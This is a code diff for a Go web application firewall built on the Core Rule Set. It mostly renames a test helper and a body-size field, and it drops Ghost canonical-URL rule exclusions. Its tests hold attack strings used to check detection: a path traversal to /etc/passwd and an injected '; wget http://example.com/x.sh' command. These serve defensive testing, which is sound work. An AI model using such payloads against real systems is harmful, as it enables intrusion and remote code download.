|
||||
})
|
||||
@@ -1202,7 +1202,7 @@ func TestWebhookHeadersAreLoggedMaskedAndNeverShown(t *testing.T) {
|
||||
|
||||
const secret = "Bearer 0123456789abcdef"
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
alertWebhookHeaders: "Authorization:" + secret + ",X-Team:ops",
|
||||
})
|
||||
|
||||
@@ -1242,7 +1242,7 @@ func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) {
|
||||
"https://hooks.example:8443?token=" + secret: "https://hooks.example:8443/********",
|
||||
"http://[2001:db8::1]:8080": "http://[2001:db8::1]:8080",
|
||||
} {
|
||||
cfg := wafFromEnvironment(t, environment{alertWebhookURL: value})
|
||||
cfg := fromEnvironment(t, environment{alertWebhookURL: value})
|
||||
|
||||
var out bytes.Buffer
|
||||
|
||||
@@ -1278,7 +1278,7 @@ func TestSlackAndNtfySettingsAreLoggedWithoutTheirSecrets(t *testing.T) {
|
||||
|
||||
const token = "tk_0123456789abcdefghijklmnopq"
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
alertSlackWebhookURL: "https://hooks.slack.example/services/T0123/B4567/abcdef",
|
||||
alertNtfyURL: "https://ntfy.example/sww-alerts",
|
||||
alertNtfyToken: token,
|
||||
@@ -1345,7 +1345,7 @@ func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet(
|
||||
t.Errorf("error %v, want %s", err, want)
|
||||
}
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{instanceName: name})
|
||||
cfg := fromEnvironment(t, environment{instanceName: name})
|
||||
if cfg.InstanceName != name {
|
||||
t.Errorf(
|
||||
"not sending to ntfy, %s is %q",
|
||||
@@ -1396,7 +1396,7 @@ func TestCodeInAllowedCountriesAndTagDenyStopsTheStart(t *testing.T) {
|
||||
func TestLookupSettingsAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
asnAndCountryLookupTimeout: "500", addLookupHeaders: enabled,
|
||||
})
|
||||
wantLookupSettings(t, cfg, config.WAF{
|
||||
@@ -1404,7 +1404,7 @@ func TestLookupSettingsAsSet(t *testing.T) {
|
||||
AddLookupHeaders: true,
|
||||
})
|
||||
|
||||
cfg = wafFromEnvironment(t, environment{lookupSource: off})
|
||||
cfg = fromEnvironment(t, environment{lookupSource: off})
|
||||
wantLookupSettings(t, cfg, config.WAF{
|
||||
LookupSource: off, ASNAndCountryLookupTimeout: 800 * time.Millisecond,
|
||||
})
|
||||
@@ -1415,7 +1415,7 @@ func TestLookupDBPathGoesWithTheFileSourceAlone(t *testing.T) {
|
||||
|
||||
const path = "/var/lib/ipinfo/ipinfo_lite.mmdb"
|
||||
|
||||
cfg := wafFromEnvironment(
|
||||
cfg := fromEnvironment(
|
||||
t,
|
||||
environment{lookupSource: fileSource, lookupDBPath: path},
|
||||
)
|
||||
@@ -1508,13 +1508,13 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
wafFromEnvironment(t, env)
|
||||
fromEnvironment(t, env)
|
||||
}
|
||||
|
||||
func TestAnomalySettingsDefaults(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
wantAllOff(t, cfg)
|
||||
|
||||
if cfg.AnomalyNetV4Prefix != 24 || cfg.AnomalyNetV6Prefix != 48 ||
|
||||
@@ -1556,7 +1556,7 @@ func TestAnomalySettingsAsSet(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
cfg := wafFromEnvironment(t, env)
|
||||
cfg := fromEnvironment(t, env)
|
||||
|
||||
if got := thresholdsByScope(cfg); !maps.Equal(got, want) {
|
||||
t.Errorf("thresholds by scope\n%+v\nwant\n%+v", got, want)
|
||||
@@ -1589,7 +1589,7 @@ func TestAnomalySettingsAsSet(t *testing.T) {
|
||||
env[name] = off
|
||||
}
|
||||
|
||||
wantAllOff(t, wafFromEnvironment(t, env))
|
||||
wantAllOff(t, fromEnvironment(t, env))
|
||||
}
|
||||
|
||||
// thresholdsByScope returns cfg's anomaly thresholds, each by the prefix
|
||||
@@ -1678,7 +1678,7 @@ func TestTagSettingsAsSet(t *testing.T) {
|
||||
|
||||
// Names and tags in either case, an AS number with leading zeros, and a
|
||||
// name holding a =.
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
tagLists: "TorExit=" + torURL +
|
||||
", vpn=mullvad=https://example.com/mullvad.txt",
|
||||
dnsblZones: "Zen.example",
|
||||
@@ -1717,7 +1717,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
|
||||
|
||||
const rw = "https://routewatch.example"
|
||||
|
||||
if cfg := wafFromEnvironment(t, environment{}); cfg.RouteWatchURL != "" {
|
||||
if cfg := fromEnvironment(t, environment{}); cfg.RouteWatchURL != "" {
|
||||
t.Errorf(
|
||||
"default %s is %q, want unset",
|
||||
routeWatchURL,
|
||||
@@ -1725,7 +1725,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
routeWatchURL: rw, tagDeny: "prefix=2001:DB8::/32",
|
||||
tagLimitPercent: "prefix=192.0.2.0/24:50",
|
||||
})
|
||||
@@ -1742,7 +1742,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
|
||||
}
|
||||
|
||||
// routewatch gives asn= tags too, so an asn= tag needs no lookups while it is set.
|
||||
wafFromEnvironment(t, environment{
|
||||
fromEnvironment(t, environment{
|
||||
lookupSource: off, routeWatchURL: rw, tagDeny: "asn=64496",
|
||||
})
|
||||
|
||||
@@ -1919,7 +1919,7 @@ func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) {
|
||||
func TestBiasedThresholdsAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
if len(cfg.ASNBytesLimitPercent) != 0 ||
|
||||
len(cfg.CountryBytesLimitPercent) != 0 ||
|
||||
cfg.UnknownCountryLimitPercent != 100 {
|
||||
@@ -1934,7 +1934,7 @@ func TestBiasedThresholdsAsSet(t *testing.T) {
|
||||
|
||||
// AS numbers and countries in either case, an AS number with leading
|
||||
// zeros, 0 and 100.
|
||||
cfg = wafFromEnvironment(t, environment{
|
||||
cfg = fromEnvironment(t, environment{
|
||||
asnBytesLimitPercent: "as16276:75",
|
||||
countryBytesLimitPercent: "ru:10",
|
||||
unknownCountryLimitPercent: "0",
|
||||
@@ -2016,7 +2016,7 @@ const (
|
||||
func TestReputationSettingsAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
if len(cfg.BlocklistURLs) != 0 || cfg.BlocklistRefresh != 24*time.Hour ||
|
||||
cfg.BlocklistAction != actionDeny || cfg.ASNLimitPercentURL != "" {
|
||||
t.Errorf(
|
||||
@@ -2043,7 +2043,7 @@ func TestReputationSettingsAsSet(t *testing.T) {
|
||||
{"limit:0", actionLimit, 0},
|
||||
} {
|
||||
// An hour, the shortest refresh allowed.
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
blocklistURLs: dropURL + ", " + torURL, blocklistRefresh: "1h",
|
||||
blocklistAction: tc.value, asnLimitPercentURL: asnURL,
|
||||
})
|
||||
@@ -2140,7 +2140,7 @@ const (
|
||||
func TestDNSBLSettingsAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
if len(cfg.DNSBLZones) != 0 || cfg.DNSBLResolver.IsValid() ||
|
||||
cfg.DNSBLAbuseIPDBAction != actionLimit ||
|
||||
cfg.DNSBLAbuseIPDBLimitPercent != 25 ||
|
||||
@@ -2188,7 +2188,7 @@ func TestDNSBLSettingsAsSet(t *testing.T) {
|
||||
[]string{dronebl}, "[2001:db8::53]:5353", actionLimit, 0,
|
||||
},
|
||||
} {
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
dnsblZones: tc.zones, dnsblResolver: tc.resolver, dnsblAbuseIPDBAction: tc.action,
|
||||
ipReputationCacheTTL: "12h", dnsblAbuseIPDBTimeout: "3000",
|
||||
})
|
||||
@@ -2310,7 +2310,7 @@ func TestMaskZoneKeyMasksTheFirstLabelOfAZoneUnderDqSpamhausNet(
|
||||
func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(
|
||||
cfg := fromEnvironment(
|
||||
t,
|
||||
environment{dnsblZones: dronebl + ", " + spamhaus},
|
||||
)
|
||||
@@ -2375,7 +2375,7 @@ func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) {
|
||||
func TestAbuseIPDBSettingsAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
if cfg.AbuseIPDBKey != "" || cfg.AbuseIPDBMinScore != 75 ||
|
||||
cfg.AbuseIPDBDailyBudget != 900 {
|
||||
t.Errorf(
|
||||
@@ -2387,7 +2387,7 @@ func TestAbuseIPDBSettingsAsSet(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
cfg = wafFromEnvironment(t, environment{
|
||||
cfg = fromEnvironment(t, environment{
|
||||
abuseIPDBKey: token, abuseIPDBMinScore: "0", abuseIPDBDailyBudget: "1",
|
||||
})
|
||||
if cfg.AbuseIPDBKey != token || cfg.AbuseIPDBMinScore != 0 ||
|
||||
@@ -2442,7 +2442,7 @@ func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong(
|
||||
func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{abuseIPDBKey: token})
|
||||
cfg := fromEnvironment(t, environment{abuseIPDBKey: token})
|
||||
|
||||
var out bytes.Buffer
|
||||
|
||||
@@ -2459,7 +2459,7 @@ func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) {
|
||||
func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
if cfg.CrowdSecDecisionsURL != "" || cfg.CrowdSecKey != "" {
|
||||
t.Errorf(
|
||||
"by default, the decision list %q and the key %q, want neither",
|
||||
@@ -2474,7 +2474,7 @@ func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) {
|
||||
"https://crowdsec.example/lapi/": "https://crowdsec.example/lapi/v1/decisions",
|
||||
"https://crowdsec.example:8443/x": "https://crowdsec.example:8443/x/v1/decisions",
|
||||
} {
|
||||
cfg := wafFromEnvironment(
|
||||
cfg := fromEnvironment(
|
||||
t,
|
||||
environment{crowdSecURL: lapi, crowdSecKey: token},
|
||||
)
|
||||
@@ -2568,7 +2568,7 @@ func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
||||
func TestCrowdSecKeyIsLoggedMasked(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
crowdSecURL: "http://172.17.0.1:8080", crowdSecKey: token,
|
||||
})
|
||||
|
||||
@@ -2591,7 +2591,7 @@ func TestCrowdSecKeyIsLoggedMasked(t *testing.T) {
|
||||
func TestSizesAndOff(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
bytesLimitPerMinute: "3G",
|
||||
bytesLimitPerHour: off,
|
||||
alertCooldown: off,
|
||||
@@ -2611,7 +2611,7 @@ func TestSizesAndOff(t *testing.T) {
|
||||
func TestRateLimitsOff(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
rateLimitPerMinute: off,
|
||||
rateLimitPerHour: off,
|
||||
rateLimitPerDay: off,
|
||||
@@ -2631,7 +2631,7 @@ func TestRateLimitsOff(t *testing.T) {
|
||||
func TestBanResponseCloseIsZero(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{banResponse: "close"})
|
||||
cfg := fromEnvironment(t, environment{banResponse: "close"})
|
||||
if cfg.BanResponse != 0 {
|
||||
t.Errorf("close read as %d, want 0", cfg.BanResponse)
|
||||
}
|
||||
@@ -2883,7 +2883,7 @@ func TestShortTokenStopsTheStartWithoutShowingIt(t *testing.T) {
|
||||
func TestTokensAreReadAndLoggedMasked(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(
|
||||
cfg := fromEnvironment(
|
||||
t,
|
||||
environment{adminToken: otherToken, metricsToken: token},
|
||||
)
|
||||
@@ -2915,7 +2915,7 @@ func TestSettingFromFileLosesOneNewlineAndNoMore(t *testing.T) {
|
||||
token + "\n\n": token + "\n",
|
||||
token + " \n": token + " ",
|
||||
} {
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
metricsToken + "_FILE": writeFile(t, contents),
|
||||
})
|
||||
if cfg.MetricsToken != want {
|
||||
@@ -2991,7 +2991,7 @@ func TestTokenFromFileIsLoggedMaskedWithTheFile(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
path := writeFile(t, token+"\n")
|
||||
cfg := wafFromEnvironment(t, environment{metricsToken + "_FILE": path})
|
||||
cfg := fromEnvironment(t, environment{metricsToken + "_FILE": path})
|
||||
|
||||
var out bytes.Buffer
|
||||
|
||||
@@ -3021,7 +3021,7 @@ func TestTokenFromFileIsLoggedMaskedWithTheFile(t *testing.T) {
|
||||
func TestRemoteLogCAFileIsNotReadAsAFileInItsTurn(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
cfg := fromEnvironment(t, environment{
|
||||
logRemoteTLSCAFile + "_FILE": writeFile(t, "/nonexistent/ca.pem\n"),
|
||||
})
|
||||
if cfg.LogRemoteTLSCAs != nil {
|
||||
@@ -3048,7 +3048,7 @@ func writeFile(t *testing.T, contents string) string {
|
||||
func TestLogsEachSettingWithItsValue(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := wafFromEnvironment(t, environment{rateLimitPerMinute: "45"})
|
||||
cfg := fromEnvironment(t, environment{rateLimitPerMinute: "45"})
|
||||
hostname, _ := os.Hostname()
|
||||
|
||||
want := map[string]string{
|
||||
|
||||
@@ -337,8 +337,8 @@ func checkExclusions(exclusions string) error {
|
||||
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
|
||||
// for concurrent use.
|
||||
type CoreRuleSet struct {
|
||||
engine coraza.WAF
|
||||
bodyInspectionSize int64
|
||||
engine coraza.WAF
|
||||
bodyLimit int64
|
||||
// appsByHostname are the names of the apps each hostname serves, by
|
||||
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
|
||||
appsByHostname map[string][]string
|
||||
@@ -346,10 +346,10 @@ type CoreRuleSet struct {
|
||||
|
||||
// New returns the Core Rule Set with the five changes and the apps' fixes,
|
||||
// at params' paranoia level, without the rules it switches off, reading
|
||||
// request bodies up to params' body inspection size, and with params'
|
||||
// exclusions file loaded before the Core Rule Set's rules. An exclusions
|
||||
// file is an error if it cannot be read or does not parse, or if
|
||||
// checkExclusions refuses it.
|
||||
// request bodies up to params' limit, and with params' exclusions file
|
||||
// loaded before the Core Rule Set's rules. An exclusions file is an error
|
||||
// if it cannot be read or does not parse, or if checkExclusions refuses
|
||||
// it.
|
||||
func New(params Params) (*CoreRuleSet, error) {
|
||||
body := ""
|
||||
if params.BodyInspectionSize > 0 {
|
||||
@@ -397,9 +397,9 @@ func New(params Params) (*CoreRuleSet, error) {
|
||||
}
|
||||
|
||||
return &CoreRuleSet{
|
||||
engine: engine,
|
||||
bodyInspectionSize: params.BodyInspectionSize,
|
||||
appsByHostname: params.Apps,
|
||||
engine: engine,
|
||||
bodyLimit: params.BodyInspectionSize,
|
||||
appsByHostname: params.Apps,
|
||||
}, nil
|
||||
}
|
||||
|
||||
@@ -484,17 +484,17 @@ func (c *CoreRuleSet) Inspect(
|
||||
// readBody reads body, the body of the request in tx, which has run on
|
||||
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
|
||||
// set and the body is of a kind the Core Rule Set reads: form data and
|
||||
// multipart, of which it reads the first c.bodyInspectionSize bytes, and
|
||||
// JSON and XML, which it reads only when they are no longer than that,
|
||||
// since they cannot be read in part.
|
||||
// readBody reads one byte past c.bodyInspectionSize, to tell which they
|
||||
// are, gives the Core Rule Set what it reads, and returns what it read and
|
||||
// the error that ended the reading early, if one did.
|
||||
// multipart, of which it reads the first c.bodyLimit bytes, and JSON and
|
||||
// XML, which it reads only when they are no longer than that, since they
|
||||
// cannot be read in part.
|
||||
// readBody reads one byte past the limit, to tell which they are, gives
|
||||
// the Core Rule Set what it reads, and returns what it read and the error
|
||||
// that ended the reading early, if one did.
|
||||
func (c *CoreRuleSet) readBody(
|
||||
tx types.Transaction,
|
||||
body io.Reader,
|
||||
) ([]byte, error) {
|
||||
if c.bodyInspectionSize == 0 {
|
||||
if c.bodyLimit == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
@@ -511,9 +511,9 @@ func (c *CoreRuleSet) readBody(
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1))
|
||||
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
|
||||
|
||||
if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) {
|
||||
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
|
||||
// Coraza holds what it reads of the body in memory, up to the
|
||||
// limit, so this cannot fail.
|
||||
_, _, _ = tx.WriteRequestBody(read)
|
||||
|
||||
@@ -1089,8 +1089,7 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
||||
const workers, perBody = 16, 10
|
||||
|
||||
crs, err := loaderFor(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
})()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -1174,11 +1173,8 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
||||
names := []string{name}
|
||||
|
||||
body := passwordBody(t, r, names, misfiring...)
|
||||
if len(body) > bodyInspectionSize {
|
||||
t.Fatalf(
|
||||
"a body of %d bytes is cut at bodyInspectionSize",
|
||||
len(body),
|
||||
)
|
||||
if len(body) > bodyLimit {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||
@@ -2314,9 +2310,9 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
||||
wantBody(t, crs, signIn, body, matched(930120), body)
|
||||
}
|
||||
|
||||
// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the
|
||||
// tests that read bodies.
|
||||
const bodyInspectionSize = 8 << 10
|
||||
// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the tests that
|
||||
// read bodies.
|
||||
const bodyLimit = 8 << 10
|
||||
|
||||
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
||||
const (
|
||||
@@ -2339,13 +2335,12 @@ const pathTraversal = "../../etc/passwd"
|
||||
const shellCommand = "; wget http://example.com/x.sh"
|
||||
|
||||
// readingBodies returns the Core Rule Set as sww runs it by
|
||||
// default, but reading bodies up to bodyInspectionSize.
|
||||
// default, but reading bodies up to bodyLimit.
|
||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
t.Helper()
|
||||
|
||||
return shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -2419,7 +2414,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
pad := strings.Repeat("a", bodyInspectionSize)
|
||||
pad := strings.Repeat("a", bodyLimit)
|
||||
|
||||
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
||||
{
|
||||
@@ -2432,20 +2427,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
},
|
||||
} {
|
||||
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
||||
tc.attackFirst[:bodyInspectionSize+1])
|
||||
tc.attackFirst[:bodyLimit+1])
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
post(tc.header),
|
||||
tc.attackLast,
|
||||
coreruleset.Result{},
|
||||
tc.attackLast[:bodyInspectionSize+1],
|
||||
tc.attackLast[:bodyLimit+1],
|
||||
)
|
||||
}
|
||||
|
||||
// To the byte: a system file's path is found when it ends at the limit,
|
||||
// and not when its last letter is past it, which is still read.
|
||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize)
|
||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2455,7 +2450,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
atLimit,
|
||||
)
|
||||
|
||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1)
|
||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2475,10 +2470,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
|
||||
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
||||
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
||||
} {
|
||||
fits := padded(tc.head, tc.tail, bodyInspectionSize)
|
||||
fits := padded(tc.head, tc.tail, bodyLimit)
|
||||
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
||||
|
||||
larger := padded(tc.head, tc.tail, bodyInspectionSize+1)
|
||||
larger := padded(tc.head, tc.tail, bodyLimit+1)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2535,7 +2530,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
|
||||
|
||||
// Whatever its size: a JSON body larger than the limit is not read, but
|
||||
// Content-Encoding on it is refused all the same.
|
||||
larger := strings.Repeat("a", bodyInspectionSize+1)
|
||||
larger := strings.Repeat("a", bodyLimit+1)
|
||||
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
||||
|
||||
// It is allowed on a body of any other kind, and on every body while no
|
||||
@@ -2855,7 +2850,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
||||
// that has no colon, before the attack. They do so padded past the
|
||||
// limit too, which cuts them in the padding.
|
||||
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
||||
pad := field("pad", strings.Repeat("a", bodyInspectionSize))
|
||||
pad := field("pad", strings.Repeat("a", bodyLimit))
|
||||
|
||||
for _, tc := range []struct{ header, head string }{
|
||||
{multipart + "; boundary=c", ""},
|
||||
@@ -2873,7 +2868,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
||||
|
||||
body = tc.head + field("q", injection) + pad + end
|
||||
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
||||
body[:bodyInspectionSize+1])
|
||||
body[:bodyLimit+1])
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2886,10 +2881,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
||||
cut := "--b\r\nContent-Di"
|
||||
first := field(
|
||||
"pad",
|
||||
strings.Repeat(
|
||||
"a",
|
||||
bodyInspectionSize-len(field("pad", ""))-len(cut),
|
||||
),
|
||||
strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
|
||||
)
|
||||
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
||||
|
||||
@@ -2899,7 +2891,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
||||
post(multipart),
|
||||
body,
|
||||
matched(900440, 900450),
|
||||
body[:bodyInspectionSize+1],
|
||||
body[:bodyLimit+1],
|
||||
)
|
||||
}
|
||||
|
||||
@@ -2918,15 +2910,12 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
|
||||
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
||||
first := field(
|
||||
"pad",
|
||||
strings.Repeat(
|
||||
"a",
|
||||
bodyInspectionSize-len(field("pad", ""))-cut,
|
||||
),
|
||||
strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
|
||||
)
|
||||
body := first + field("q", "1") + end
|
||||
|
||||
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
||||
body[:bodyInspectionSize+1])
|
||||
body[:bodyLimit+1])
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2941,8 +2930,7 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
||||
// The test loads its own Core Rule Set, since loading is part of what
|
||||
// it checks.
|
||||
crs, err := coreruleset.New(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("load the Core Rule Set: %v", err)
|
||||
@@ -2954,7 +2942,7 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
||||
wantBody(t, crs, post(multipart), body, matched(942100), body)
|
||||
}
|
||||
|
||||
func TestBodyInspectionSizeOf1GLoads(t *testing.T) {
|
||||
func TestBodyLimitOf1GLoads(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := coreruleset.New(
|
||||
|
||||
@@ -216,23 +216,6 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
|
||||
|
||||
# The canonical URL of a post or a page skips the two rules that url skips:
|
||||
# 930120: https://example.com/blog/.htaccess/
|
||||
# 932120: https://example.com/blog/powershell/
|
||||
# Each of these fields skips them only on its own path:
|
||||
# posts.<n>.canonical_url, under /ghost/api/admin/posts/
|
||||
# pages.<n>.canonical_url, under /ghost/api/admin/pages/
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
|
||||
"id:900383,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.posts\.\d+\.canonical_url$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.posts\.\d+\.canonical_url$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.posts\.\d+\.canonical_url$/"
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/pages/" \
|
||||
"id:900384,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.pages\.\d+\.canonical_url$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.pages\.\d+\.canonical_url$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.pages\.\d+\.canonical_url$/"
|
||||
|
||||
# Saving a staff user's profile sends the field profile_image, whose name holds
|
||||
# .profile, a file the list of system files names (930120).
|
||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
||||
|
||||
@@ -143,16 +143,6 @@ var ghostAddressFields = []ghostField{
|
||||
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
||||
}
|
||||
|
||||
// ghostCanonicalURLFields hold the canonical URL of a post or a page, and skip
|
||||
// 930120 and 932120, as url does.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
